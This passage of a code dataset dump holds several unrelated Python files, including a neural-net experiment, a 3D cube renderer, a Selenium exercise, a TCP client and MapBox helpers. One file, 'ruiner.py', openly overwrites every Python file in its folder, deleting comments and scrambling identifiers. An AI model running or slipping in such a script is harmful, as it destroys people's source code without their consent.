DataBaseManager.PrepareCIFAR10Data()\n\n (n_examples, sx, sy, nchannels) = trainImages.shape\n\n archmlp = [sx * sy * nchannels, 256, 128, 64, nclasses]\n activmlp = [\"relu\", \"relu\", \"relu\", \"none\"]\n\n networks = []\n\n net0 = mlpm.NeuralNetwork(\"mlp_\", archmlp, activmlp, \"softmax\")\n net1 = mlpm.NeuralNetwork(\"mlp_T\", archmlp, activmlp, \"softmax\")\n\n networks.append(net0)\n networks.append(net1)\n\n # trainImages = standardize3D(trainImages)\n # testImages = standardize3D(testImages)\n\n nTest = 100\n batch_size = 200\n total_batch = int(n_examples / batch_size)\n\n acc = 0.0\n\n trainImagesT = trainImages.copy()\n trainLabelsT = trainLabels.copy()\n\n testImagesT = testImages.copy()\n testLabelsT = testLabels.copy()\n\n # Transform each class\n for d in range(0, nclasses):\n myseed = 1\n randomizedigit(trainImagesT, trainLabelsT, myseed, d)\n randomizedigit(testImagesT, testLabelsT, myseed, d)\n\n trainImages = trainImages.reshape(-1, sx * sy * nchannels)\n testImages = testImages.reshape(-1, sx * sy * nchannels)\n\n trainImagesT = trainImagesT.reshape(-1, sx * sy * nchannels)\n testImagesT = testImagesT.reshape(-1, sx * sy * nchannels)\n\n timesteps = 0\n Nkpi = 1\n Nnetworks = len(networks)\n ndData = np.zeros((0, Nnetworks, Nkpi))\n\n doTraining = True\n doTests = True\n\n # run a few epochs\n for epoch in range(training_epochs):\n nTest = 100\n print(\"\")\n print(\"Epoch \", epoch)\n cv2.imshow(\"Data\", utils.MakeGridOfImages(trainImages[0:nTest].reshape(-1, sx, sy)))\n cv2.imshow(\"PermutedData\", utils.MakeGridOfImages(trainImagesT[0:nTest].reshape(-1, sx, sy)))\n cv2.waitKey(1)\n\n if doTests:\n # calculate accuracies\n acc_ = networks[0].GetPerformance(testImages, testLabels, \"acc\")\n acc_T = networks[1].GetPerformance(testImagesT, testLabelsT, \"acc\")\n\n sheet = np.zeros((Nnetworks, Nkpi))\n sheet[0, 0] = acc_\n sheet[1, 0] = acc_T\n\n ndData = np.append(ndData, [sheet], axis=0)\n print(\" Accuracies\\n\", ndData[-1])\n\n # run on batches\n for i in range(total_batch):\n\n if doTraining:\n # get the batch input images and labels\n batchImages = trainImages[i * batch_size:(i + 1) * batch_size]\n batchLabels = trainLabels[i * batch_size:(i + 1) * batch_size]\n\n batchImagesT = trainImagesT[i * batch_size:(i + 1) * batch_size]\n batchLabelsT = trainLabelsT[i * batch_size:(i + 1) * batch_size]\n\n networks[0].Train(batchImages, batchLabels)\n networks[1].Train(batchImagesT, batchLabelsT)\n\n if True:\n # update the output file every epoch\n if not os.path.exists(dirName):\n os.makedirs(dirName)\n copy2(currentFileName + \".py\", dirName)\n print(\"data will be saved in \", dirName)\n np.save(dirName + \"kpi\" + \".npy\", ndData)\n\n return dirName + \"kpi\" + \".npy\"\n\n\ndef MakePlots(loadDir, networks=None, kpis=None):\n data = np.load(loadDir + \"kpi.npy\")\n\n # determine the number of networks in the ndarray\n Nnetworks = data.shape[1]\n\n labels = []\n for i in range(0, Nnetworks):\n if networks is None:\n labels.append(\"Net\" + str(i))\n else:\n labels.append(networks[i])\n\n colors = []\n for i in range(1, Nnetworks + 1):\n colors.append(\"C\" + str(i))\n\n # determine the number of kpi's in the ndarray\n Nkpi = data.shape[2]\n\n r = 0\n\n nX = int(math.ceil(math.sqrt(Nkpi)))\n nY = int(Nkpi / nX)\n\n if Nkpi % nX != 0:\n nY += 1\n\n plt.figure(figsize=(14, 7), dpi=100)\n for k in range(0, Nkpi):\n figure = plt.subplot(nY, nX, k + 1)\n for n in range(0, Nnetworks):\n y = data[:, n, k]\n if r > 0:\n y = utils.rebin(y, r)\n\n x = np.arange(1, len(y) + 1)\n\n plt.plot(x, y, label=labels[n], c=colors[n])\n # plt.plot(x, d[:, n, 1], label=labels[n], c=colors[n])\n\n plt.legend()\n plt.xlabel(\"steps\")\n if kpis is None:\n plt.ylabel(\"accuracy of classifier\")\n else:\n plt.ylabel(kpis[k])\n\n plt.grid(which='both')\n up = 1.01\n plt.axis([0, len(x), 0., up])\n major_ticksY = np.arange(0, up, 0.1)\n minor_ticksY = np.arange(0, up, 0.05)\n figure.set_yticks(major_ticksY)\n figure.set_yticks(minor_ticksY, minor=True)\n\n # plt.axis([-.01 * d.shape[0] + 1, d.shape[0] + 1, 0., 1.4])\n # major_ticksY = np.arange(0, 1.4, 0.2)\n # minor_ticksY = np.arange(0, 1.4, 0.1)\n # figure.set_yticks(major_ticksY)\n # figure.set_yticks(minor_ticksY, minor=True)\n\n plt.tight_layout(pad=0)\n plt.savefig(loadDir + \"fig_\" + str(time.time()) + \".png\")\n plt.show()\n\n\ndef main():\n # outfile = RunModels()\n #\n MakePlots(\"Outputs/Scramble_mlp_08_16_18_56_57/\",[\"mlp on data\",\"mlp on permuted data\"])\n\n\nif __name__ == '__main__':\n main()\n\n''' Scrap code\n# weights = net.GetWeights()\n # layers = net.GetLayers(testImages)\n # print(weights[1].shape)\n # print(weights[2].shape)\n # print(weights[3].shape)\n # print(weights[4].shape)\n\n # print(weights[1][:, :, 0, 0])\n\n # w1 = weights[1]\n # s1 = w1.shape[0]\n # s2 = w1.shape[1]\n # s3 = w1.shape[2]\n # s3 = w1.shape[3]\n # w2 = np.ones((s3, s1, s2))\n # for b in range(s3):\n # w2[b, :, :] = w1[:, :, 0, b]\n #\n # # w2 += np.abs(np.min(w2))\n # # w2 = w2 / np.max(w2)\n # w2 = utils.MakeGridOfImages(w2,4,4)\n # w2 = cv2.resize(w2, (200, 200))\n # cv2.imshow(\"w2\", w2)\n\n # weights = weights.reshape(-1)\n # weights = rebin(weights, len(weights) // 30)\n # print(\"weights:\", weights.reshape(3, 10))\n # print(\" w_mean: \", np.mean(weights))\n # print(\" w_std: \", np.std(weights))\n # print(\" params: \", net.GetExtraParams())\n'''\n","sub_path":"RandomNets/Scramble_mlp.py","file_name":"Scramble_mlp.py","file_ext":"py","file_size_in_byte":13648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"134569908","text":"import argparse\nimport colorsys\nimport math\nimport os\nimport random\nimport time\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pyglet\nimport trimesh\nfrom tqdm import tqdm\n\nimport pyrender\nfrom archiver import Archiver, SceneData\nfrom pyrender import (DirectionalLight, Mesh, Node, OffscreenRenderer,\n OrthographicCamera, RenderFlags, Scene)\n\ncube_size = 0.25\n\n\ndef get_available_axis_and_direction(space, pos):\n ret = []\n # x-axis\n for direction in (-1, 1):\n abs_pos = (pos[0] + direction, pos[1], pos[2])\n if space[abs_pos] == True:\n continue\n ret.append((0, direction))\n # y-axis\n for direction in (-1, 1):\n abs_pos = (pos[0], pos[1] + direction, pos[2])\n if space[abs_pos] == True:\n continue\n ret.append((1, direction))\n # z-axis\n for direction in (-1, 1):\n abs_pos = (pos[0], pos[1], pos[2] + direction)\n if space[abs_pos] == True:\n continue\n ret.append((2, direction))\n\n return ret\n\n\ndef generate_block_positions(num_cubes):\n assert num_cubes > 0\n\n current_relative_pos = (0, 0, 0)\n block_locations = [current_relative_pos]\n block_abs_locations = np.zeros(\n (num_cubes * 2 - 1, num_cubes * 2 - 1, num_cubes * 2 - 1), dtype=bool)\n p = num_cubes - 1\n current_absolute_pos = (p, p, p)\n block_abs_locations[current_absolute_pos] = True\n\n for _ in range(num_cubes - 1):\n available_axis_and_direction = get_available_axis_and_direction(\n block_abs_locations, current_absolute_pos)\n axis, direction = random.choice(available_axis_and_direction)\n offset = [0, 0, 0]\n offset[axis] = direction\n new_relative_pos = (offset[0] + current_relative_pos[0],\n offset[1] + current_relative_pos[1],\n offset[2] + current_relative_pos[2])\n block_locations.append(new_relative_pos)\n current_relative_pos = new_relative_pos\n current_absolute_pos = (\n new_relative_pos[0] + p,\n new_relative_pos[1] + p,\n new_relative_pos[2] + p,\n )\n block_abs_locations[current_absolute_pos] = True\n\n position_array = []\n barycenter = np.array([0.0, 0.0, 0.0])\n\n for location in block_locations:\n shift = cube_size\n position = (shift * location[0], shift * location[1],\n shift * location[2])\n\n position_array.append(position)\n\n barycenter[0] += position[0]\n barycenter[1] += position[1]\n barycenter[2] += position[2]\n\n barycenter[0] /= num_cubes\n barycenter[1] /= num_cubes\n barycenter[2] /= num_cubes\n\n # discretize\n barycenter = np.round(barycenter / cube_size) * cube_size\n\n return position_array, barycenter\n\n\ndef build_scene(num_cubes, color_candidates):\n # Generate positions of each cube\n cube_position_array, barycenter = generate_block_positions(num_cubes)\n assert len(cube_position_array) == num_cubes\n\n # Place cubes\n scene = Scene(\n bg_color=np.array([0.0, 0.0, 0.0]),\n ambient_light=np.array([0.3, 0.3, 0.3, 1.0]))\n cube_nodes = []\n for position in cube_position_array:\n mesh = trimesh.creation.box(extents=cube_size * np.ones(3))\n mesh = Mesh.from_trimesh(mesh, smooth=False)\n node = Node(\n mesh=mesh,\n translation=np.array(([\n position[0] - barycenter[0],\n position[1] - barycenter[1],\n position[2] - barycenter[2],\n ])))\n scene.add_node(node)\n cube_nodes.append(node)\n\n update_cube_color_and_position(cube_nodes, color_candidates)\n\n # Place a light\n light = DirectionalLight(color=np.ones(3), intensity=15.0)\n quaternion_yaw = pyrender.quaternion.from_yaw(math.pi / 4)\n quaternion_pitch = pyrender.quaternion.from_pitch(-math.pi / 5)\n quaternion = pyrender.quaternion.multiply(quaternion_pitch, quaternion_yaw)\n quaternion = quaternion / np.linalg.norm(quaternion)\n node = Node(\n light=light, rotation=quaternion, translation=np.array([1, 1, 1]))\n scene.add_node(node)\n\n return scene, cube_nodes\n\n\ndef update_cube_color_and_position(cube_nodes, color_candidates):\n num_cubes = len(cube_nodes)\n\n # Generate positions of each cube\n cube_position_array, barycenter = generate_block_positions(num_cubes)\n\n for position, node in zip(cube_position_array, cube_nodes):\n color = np.array(random.choice(color_candidates))\n vertex_colors = np.broadcast_to(\n color, node.mesh.primitives[0].positions.shape)\n node.mesh.primitives[0].color_0 = vertex_colors\n node.translation = np.array(([\n position[0] - barycenter[0],\n position[1] - barycenter[1],\n position[2] - barycenter[2],\n ]))\n\n\ndef udpate_vertex_buffer(cube_nodes):\n for node in (cube_nodes):\n node.mesh.primitives[0].update_vertex_buffer_data()\n\n\ndef compute_yaw_and_pitch(vec):\n x, y, z = vec\n norm = np.linalg.norm(vec)\n if z < 0:\n yaw = math.pi + math.atan(x / z)\n elif x < 0:\n yaw = math.pi * 2 + math.atan(x / z)\n else:\n yaw = math.atan(x / z)\n pitch = -math.asin(y / norm)\n return yaw, pitch\n\n\ndef genearte_camera_quaternion(yaw, pitch):\n quaternion_yaw = pyrender.quaternion.from_yaw(yaw)\n quaternion_pitch = pyrender.quaternion.from_pitch(pitch)\n quaternion = pyrender.quaternion.multiply(quaternion_pitch, quaternion_yaw)\n quaternion = quaternion / np.linalg.norm(quaternion)\n return quaternion\n\n\ndef main():\n try:\n os.makedirs(args.output_directory)\n except:\n pass\n\n last_file_number = args.initial_file_number + args.total_scenes // args.num_scenes_per_file - 1\n initial_file_number = args.initial_file_number\n if os.path.isdir(args.output_directory):\n files = os.listdir(args.output_directory)\n for name in files:\n number = int(name.replace(\".h5\", \"\"))\n if number > last_file_number:\n continue\n if number < args.initial_file_number:\n continue\n if number < initial_file_number:\n continue\n initial_file_number = number + 1\n total_scenes_to_render = args.total_scenes - args.num_scenes_per_file * (\n initial_file_number - args.initial_file_number)\n\n assert args.num_scenes_per_file <= total_scenes_to_render\n\n # Initialize colors\n color_candidates = []\n for n in range(args.num_colors):\n hue = n / args.num_colors\n saturation = 1\n lightness = 1\n red, green, blue = colorsys.hsv_to_rgb(hue, saturation, lightness)\n color_candidates.append((red, green, blue))\n\n scene, cube_nodes = build_scene(args.num_cubes, color_candidates)\n camera = OrthographicCamera(xmag=0.9, ymag=0.9)\n camera_node = Node(camera=camera)\n scene.add_node(camera_node)\n renderer = OffscreenRenderer(\n viewport_width=args.image_size, viewport_height=args.image_size)\n\n archiver = Archiver(\n directory=args.output_directory,\n num_scenes_per_file=args.num_scenes_per_file,\n image_size=(args.image_size, args.image_size),\n num_observations_per_scene=args.num_observations_per_scene,\n initial_file_number=initial_file_number)\n\n for scene_index in tqdm(range(total_scenes_to_render)):\n\n camera_distance = 2\n scene_data = SceneData((args.image_size, args.image_size),\n args.num_observations_per_scene)\n for observation_index in range(args.num_observations_per_scene):\n # Generate random point on a sphere\n camera_position = np.random.normal(size=3)\n camera_position = camera_distance * camera_position / np.linalg.norm(\n camera_position)\n # Compute yaw and pitch\n yaw, pitch = compute_yaw_and_pitch(camera_position)\n\n camera_node.rotation = genearte_camera_quaternion(yaw, pitch)\n camera_node.translation = camera_position\n\n # Rendering\n flags = RenderFlags.SHADOWS_DIRECTIONAL\n if args.anti_aliasing:\n flags |= RenderFlags.ANTI_ALIASING\n image = renderer.render(scene, flags=flags)[0]\n scene_data.add(image, camera_position, math.cos(yaw),\n math.sin(yaw), math.cos(pitch), math.sin(pitch))\n\n if args.visualize:\n plt.clf()\n plt.imshow(image)\n plt.pause(1e-10)\n\n archiver.add(scene_data)\n\n # Change cube color and position\n update_cube_color_and_position(cube_nodes, color_candidates)\n\n # Transfer changes to the vertex buffer on gpu\n udpate_vertex_buffer(cube_nodes)\n\n renderer.delete()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--total-scenes\", \"-total\", type=int, default=2000000)\n parser.add_argument(\"--num-scenes-per-file\", type=int, default=2000)\n parser.add_argument(\"--initial-file-number\", type=int, default=1)\n parser.add_argument(\"--num-observations-per-scene\", type=int, default=15)\n parser.add_argument(\"--image-size\", type=int, default=64)\n parser.add_argument(\"--num-cubes\", type=int, default=5)\n parser.add_argument(\"--num-colors\", type=int, default=10)\n parser.add_argument(\"--output-directory\", type=str, required=True)\n parser.add_argument(\"--anti-aliasing\", default=False, action=\"store_true\")\n parser.add_argument(\"--visualize\", default=False, action=\"store_true\")\n args = parser.parse_args()\n main()\n","sub_path":"opengl/shepard_metzler.py","file_name":"shepard_metzler.py","file_ext":"py","file_size_in_byte":9695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"205226091","text":"import urllib.request\r\nimport json\r\n\r\n# uploads the newest version of the file (after all changes are made) to the firebase storage. \r\ndef upload_file():\r\n # opens the file and reads it into bytes so that it can be uploaded to firebase. \r\n file = open(\"data/frcTestData.csv\", \"rb\")\r\n data = file.read()\r\n url =\"https://firebasestorage.googleapis.com/v0/b/frc-inventory-tracker.appspot.com/o/frcData%2FfrcTestData.csv\"\r\n headers = {\"Content-Type\": \"text/plain\"}\r\n\r\n # actual request\r\n request = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\r\n\r\n try:\r\n loader = urllib.request.urlopen(request)\r\n print(\"request sent\")\r\n \r\n except urllib.error.URLError as e:\r\n message = json.loads(e.read())\r\n print(message[\"error\"][\"message\"])\r\n \r\n else:\r\n print(loader.read())\r\n\r\nupload_file()","sub_path":"Database Project/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"602040769","text":"import os\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nimport time\nimport math\n\n\ndef calc(x):\n return str(math.log(abs(12*math.sin(int(x)))))\n\ntry:\n\tlink = \"http://suninjuly.github.io/alert_accept.html\"\n\tbrowser = webdriver.Chrome()\n\tbrowser.get(link)\n\tprint(browser.current_window_handle)\n\t#Нажать на кнопку \n\tbutton = browser.find_element_by_css_selector(\"button.btn\")\n\tbutton.click()\t\n\t#Обрабатывем окно\n\tconfirm = browser.switch_to.alert\n\tprint(browser.current_window_handle)\n\tconfirm.accept()\n\t#Считать значение для переменной x.\n\tx_element = browser.find_element_by_css_selector(\"#input_value\")\n\tx = x_element.text\n\t#Посчитать математическую функцию от x (код для этого приведён ниже).\n\ty = calc(x)\n\t#Ввести ответ в текстовое поле.\n\tinput1 = browser.find_element_by_css_selector('#answer')\n\tinput1.send_keys(y)\n\tprint(browser.current_window_handle)\n\t#Нажать на ��нопку Submit.\n\tbutton = browser.find_element_by_css_selector(\"button.btn\")\n\tbutton.click()\n\t\t\nfinally:\n # ожидание чтобы визуально оценить результаты прохождения скрипта\n time.sleep(10)\n # закрываем браузер после всех манипуляций\n browser.quit()\n\n# не забываем оставить пустую строку в конце файла","sub_path":"les_2_3_4.py","file_name":"les_2_3_4.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"327827941","text":"import glob, os, re, random\n\ndef main():\n #this will look through the folder for everything (credit https://stackoverflow.com/questions/3964681/find-all-files-in-a-directory-with-extension-txt-in-python)\n os.chdir(os.path.dirname(os.path.realpath(__file__)))\n for fil in glob.glob(\"*.py\"):\n #only keeps files that end in .py and are not called \"ruiner.py\"\n if fil[-3:] == \".py\" and fil != \"ruiner.py\":\n #each file is ruined\n ruin(fil)\n\ndef ruin(fil):\n #open the file\n open_file = open(fil, \"r\")\n lines = open_file.readlines()\n open_file.close()\n #for each line, \n temp_lines = []\n for line in lines:\n #if the first non-tab, non-space character is a \"#\", the line is deleted\n if not_comment(line):\n temp_lines.append(line)\n \n #on the full text,\n full_text = \"\"\n for line in lines:\n full_text += line\n\n #get a list of all variables\n variables = get_variables(full_text)\n #make a table of the old variables to new, terrible variable names\n variable_dictionary = {X : X for X in variables}\n for key in variable_dictionary:\n variable_dictionary[key] = stupid_variable_name(key)\n #replaces all the instances of the old name with the new, terrible ones\n for key in variable_dictionary:\n full_text = re.sub(key, variable_dictionary[key], full_text)\n \n #get a list of all functions\n functions = get_functions(full_text)\n #make a table of the old variables to new, terrible variable names\n function_dictionary = {X : X for X in functions}\n for key in function_dictionary:\n function_dictionary[key] = stupid_function_name(key)\n #replaces all the instances of the old name with the new, terrible ones\n for key in function_dictionary:\n full_text = re.sub(key, function_dictionary[key], full_text)\n\n #take the full text and turn it back into lines\n final_lines = full_text.split(\"\\n\")\n final_lines = [X + \"\\n\" for X in final_lines]\n\n #overwrite the previous file with the new lines\n write_file = open(fil, \"w\")\n write_file.writelines(final_lines)\n write_file.close()\n \n\n\n#returns if a given line is not a comment\ndef not_comment(line):\n for char in line:\n if char != \" \" and char != \"\\t\":\n if char == \"#\":\n return False\n else:\n return True\n return True\n\n#takes in a string and returns a list of all the functions definined within the text of that string\ndef get_functions(full_text):\n #regex for custom functions used in the file\n function = r\"def [A-Za-z][A-Za-z0-9_]*\\(\"\n #this is all of the functions defined in the file\n functions_used = re.findall(function, full_text)\n functions_used = [string[4:-1] for string in functions_used] \n return functions_used \n\n\n#takes in a function name an scrambles it to worthlessness\ndef stupid_function_name(name):\n letter_list = [char for char in name]\n #get rid of half the letters at random\n random.shuffle(letter_list)\n letter_list = letter_list[0:len(letter_list) // 2]\n #insert a number of underscores within the word (letters / 3 -> 0)\n num_underscores = random.randint(0, len(letter_list) // 3)\n underscores = []\n for i in range(0, num_underscores):\n underscores.append(\"_\")\n letter_list = letter_list + underscores\n #move the letters around\n random.shuffle(letter_list)\n #if the list creates an invalid function name\n while(letter_list[0] == \"_\"):\n #remove the invalidity\n letter_list = letter_list[1:]\n #return it!\n output = \"\"\n return output.join(letter_list)\n\ndef get_variables(full_text):\n #regex for functions used in the file\n function = r\"[A-Za-z][A-Za-z0-9]*\\(\"\n #this is all of the functions defined in the file\n functions_used = re.findall(function, full_text)\n functions_used = [string[:-1] for string in functions_used]\n\n #all the python keywords\n key_words = [\"False\",\"class\",\"finally\",\"is\",\"return\",\"None\",\"continue\",\"for\",\"lambda\",\"try\",\"True\",\"def\",\"from\",\n \"nonlocal\",\"while\",\"and\",\"del\",\"global\",\"not\",\"with\",\"as\",\"elif\",\"if\",\"or\",\"yield\",\"assert\",\"else\",\n \"import\",\"pass\",\"break\",\"except\",\"in\",\"raise\"]\n\n #regex for variables\n variable = r\"[A-Za-z][A-Za-z0-9]*\"\n #this is all of the functions called, defined, AND the variables! oh no!\n variables = re.findall(variable, full_text)\n variables = [var for var in variables if var not in functions_used and var not in key_words]\n\n #cull multiples\n final_variables = []\n for variable in variables:\n if variable not in final_variables:\n final_variables.append(variable)\n return final_variables\n\n#picks a random, meaningless name, based on name inputted.\ndef stupid_variable_name(old_name):\n #if it contains an \"_\"\n if \"_\" in old_name:\n #split the name by \"_\"\n name_parts = old_name.split(\"_\")\n #shorten each part and add meaningless symbols\n name_parts = [meaning_less(shorten(X)) for X in name_parts]\n #reconnect them\n output = \"_\"\n return output.join(name_parts)\n #if it does not\n else: \n #shorten and add meaningless symbols\n return meaning_less(shorten(old_name))\n\n\n\n#shortens a string randomly, from the front and back\ndef shorten(string):\n center = len(string) // 2\n front = random.randint(0, center)\n back = - (random.randint(0, center) + 1)\n return string[front:back]\n\n#adds random symbols to the front or end of a string\ndef meaning_less(string):\n bad_stuff = [\"_\",\"x\",\"X\"]\n mess_amount = random.randint(1,4)\n mess = \"\"\n for i in range(0, mess_amount):\n mess += random.choice(bad_stuff)\n options = [\"front\", \"back\"]\n front_or_back = random.choice(options)\n if front_or_back == \"front\":\n return mess + string\n else:\n return string + mess\n \n\nmain()\n","sub_path":"ruiner.py","file_name":"ruiner.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"62233551","text":"import socket\r\nfrom datetime import datetime\r\nimport pickle\r\nimport sys\r\n\r\nclass TCPClient:\r\n\r\n commands = (\"get\", \"put\", \"upgrade\", \"getother\", \"putother\")\r\n\r\n def __init__(self, username):\r\n self.username = username\r\n self.sock = None\r\n\r\n def print_with_time(self, msg):\r\n print(f\"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\")\r\n\r\n def configure_client(self, host, port):\r\n self.print_with_time('🔄 Creating client socket...')\r\n try:\r\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.print_with_time('✅ Socket created successfully')\r\n\r\n except Exception as e:\r\n self.print_with_time(f'❌ Socket creation failed, {e}')\r\n\r\n self.print_with_time(f'🔄 Connecting to {host}:{port}...')\r\n try:\r\n self.sock.connect((host, port))\r\n self.print_with_time('✅ Socket connection was successful')\r\n except Exception as e:\r\n self.print_with_time(f'❌ Bind failed')\r\n\r\n def parse( self, args: list[str] ):\r\n \r\n request = []\r\n i = 0\r\n while i < len(args):\r\n if ( args[i].lower() == \"get\" ):\r\n if( i == (len( args ) - 1) or args[i + 1].lower() in TCPClient.commands):\r\n return 0, request\r\n request.append({ \"method\": \"get\", \"key\": args[i + 1]})\r\n i += 1\r\n elif ( args[i].lower() == \"put\" ):\r\n if( i > (len( args ) - 3) or args[i + 1].lower() in TCPClient.commands or args[i + 2].lower() in TCPClient.commands):\r\n return 0, request\r\n request.append({ \"method\": \"put\", \"key\": args[i + 1], \"value\": args[i + 2] })\r\n i += 2\r\n elif ( args[i].lower() == \"upgrade\" ):\r\n if( i == (len( args ) - 1) or args[i + 1].lower() in TCPClient.commands ):\r\n return 0, request\r\n request.append({ \"method\": \"upgrade\", \"password\": args[i + 1] })\r\n i += 1\r\n elif ( args[i].lower() == \"getother\" ):\r\n if( i > (len( args ) - 3) or args[i + 1].lower() in TCPClient.commands or args[i + 2].lower() in TCPClient.commands):\r\n return 0, request\r\n request.append({ \"method\": \"getother\", \"username\": args[i + 1], \"key\": args[i + 2] })\r\n i += 2\r\n elif ( args[i].lower() == \"putother\" ):\r\n if( i > (len( args ) - 4) or args[i + 1].lower() in TCPClient.commands or args[i + 2].lower() in TCPClient.commands or args[i + 3].lower() in TCPClient.commands):\r\n return 0, request\r\n request.append({ \"method\": \"putother\", \"username\": args[i + 1], \"key\": args[i + 2], \"value\": args[i + 3] })\r\n i += 3\r\n else:\r\n return 0, request\r\n i += 1\r\n return 1, request\r\n\r\n def interact(self):\r\n try:\r\n self.sock.sendall(self.username.encode('utf-8'))\r\n var = self.sock.recv(1024).decode()\r\n print(var)\r\n if var != \"OK\":\r\n self.print_with_time(\"Some error occurred, please try again later\")\r\n return\r\n while True:\r\n name = input(\"$ \")\r\n if name == \"q\" or name == \"quit\":\r\n self.sock.close()\r\n return\r\n code, request = self.parse(list(filter(lambda x: x != '', name.split(\" \"))))\r\n if (code == 0):\r\n print(\"Invalid arguments, rejecting...\")\r\n continue\r\n else:\r\n print(request)\r\n # self.sock.sendall(f\"Sairyo\".encode('utf-8'))\r\n self.sock.sendall(pickle.dumps(request))\r\n response = pickle.loads(self.sock.recv(1024))\r\n self.print_with_time(response)\r\n \r\n except KeyboardInterrupt:\r\n self.sock.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) == 1:\r\n print(\"Usage: python tcp_client.py [ port_no (int) ]\")\r\n sys.exit()\r\n else:\r\n port = int(sys.argv[1])\r\n username = input(\"Enter username: \")\r\n while username in TCPClient.commands:\r\n print(\"This keyword cannot be used as username, please try again.\\n\")\r\n tcp_client = TCPClient(username)\r\n try:\r\n tcp_client.configure_client('127.0.0.1', port)\r\n except:\r\n sys.exit()\r\n tcp_client.interact()","sub_path":"Internet-Tech/Socket-key-value/tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":4527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"233323068","text":"import os\nfrom django.conf.global_settings import DATABASE_ROUTERS\n\nPROJECT_DIR = os.path.abspath(os.path.dirname(__file__))\n\nfrom dukeband.conf.settings.default import *\n\nDJANGO_CONF = os.environ.get('DJANGO_CONF', 'default')\nif DJANGO_CONF != 'default':\n module = __import__(DJANGO_CONF, globals(), locals(), ['*'])\n for k in dir(module):\n locals()[k] = getattr(module, k)\n\ntry:\n from local_settings import *\nexcept ImportError:\n import sys, traceback\n sys.stderr.write(\"Warning: Can't find file 'local_settings.py' in the directory containing %r. \\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\\n\" % __file__)\n sys.stderr.write(\"\\nException:\\n\\n\")\n traceback.print_exc()\n\nif 'DISABLED_APPS' in locals():\n INSTALLED_APPS = [k for k in INSTALLED_APPS if k not in DISABLED_APPS]\n\n MIDDLEWARE_CLASSES = list(MIDDLEWARE_CLASSES)\n DATABASE_ROUTERS = list(DATABASE_ROUTERS)\n TEMPLATE_CONTEXT_PROCESSORS = list(TEMPLATE_CONTEXT_PROCESSORS)\n AUTHENTICATION_BACKENDS = list(AUTHENTICATION_BACKENDS)\n\n for a in DISABLED_APPS:\n\n MIDDLEWARE_CLASSES[:] = [ m for m in MIDDLEWARE_CLASSES if not m.startswith(a) ]\n\n TEMPLATE_CONTEXT_PROCESSORS[:] = [ m for m in TEMPLATE_CONTEXT_PROCESSORS if not m.startswith(a) ]\n\n DATABASE_ROUTERS[:] = [ m for m in DATABASE_ROUTERS if not m.startswith(a) ]\n\n AUTHENTICATION_BACKENDS[:] = [ m for m in AUTHENTICATION_BACKENDS if not m.startswith(a) ]","sub_path":"dukeband/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"87330019","text":"import concurrent.futures\nimport math\nimport os\nfrom sys import platform\nimport time\nfrom typing import Any, Optional\n\nimport mapbox\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom util.detail import LOCAL, BUNDLED_DATA, LOGGER\n\nTILE_SIZE = 512\n\nMARKER_PATH = os.path.join(BUNDLED_DATA, \"qt_files\", \"marker.png\")\n\nMAPBOX_CACHE = os.path.join(LOCAL, \"mapbox_cache\")\nif not os.path.exists(MAPBOX_CACHE):\n os.mkdir(MAPBOX_CACHE)\n\n\ndef readKey() -> Optional[str]:\n \"\"\"Reads MapBox API key from apikey.txt.\n\n :return: API Key for MapBox\n :rtype: Optional[str]\n \"\"\"\n if os.path.isfile(os.path.join(LOCAL, \"apikey.txt\")):\n f = open(os.path.join(LOCAL, \"apikey.txt\"), \"r\")\n contents = f.read()\n return contents.strip()\n else:\n return None\n\n# Initialize the mapbox map instance\nif not (readKey() is None):\n maps = mapbox.Maps(access_token=readKey())\nelse:\n maps = None\n\n# MacOS specific fix for image downloading\nif platform == 'darwin':\n os.environ['NO_PROXY'] = '*'\n\n\nclass MapPoint:\n def __init__(self, latitude: float, longitude: float) -> None:\n \"\"\"\n\n :param latitude:\n :type latitude: float\n :param longitude:\n :type longitude: float\n \"\"\"\n # Values outside this range will produce weird results in the tile calculations\n # Alternative is to normalize angles\n if not -90 < latitude < 90 or not -180 < longitude < 180:\n raise ValueError(\"Latitude or longitude is out of bounds\")\n\n self.latitude = latitude\n self.longitude = longitude\n self.x = float(0.5 + self.longitude / 360)\n siny = math.sin(self.latitude * math.pi / 180)\n self.y = float((0.5 - math.log((1 + siny) / (1 - siny)) / (4 * math.pi)))\n\n def __repr__(self) -> str:\n return f\"{self.__class__.__name__}({self.latitude}, {self.longitude}\"\n\n def getPixelX(self, zoom: int) -> int:\n \"\"\"\n\n :param zoom:\n :type zoom: int\n :return:\n :rtype: int\n \"\"\"\n return int(\n math.floor(TILE_SIZE * (0.5 + self.longitude / 360) * math.pow(2, zoom))\n )\n\n def getPixelY(self, zoom: int) -> int:\n \"\"\"\n\n :param zoom:\n :type zoom:\n :return:\n :rtype:\n \"\"\"\n siny = math.sin(self.latitude * math.pi / 180)\n\n # Truncating to 0.9999 effectively limits latitude to 89.189. This is\n # about a third of a tile past the edge of the world tile.\n siny = min(max(siny, -0.9999), 0.9999)\n\n return int(\n math.floor(\n 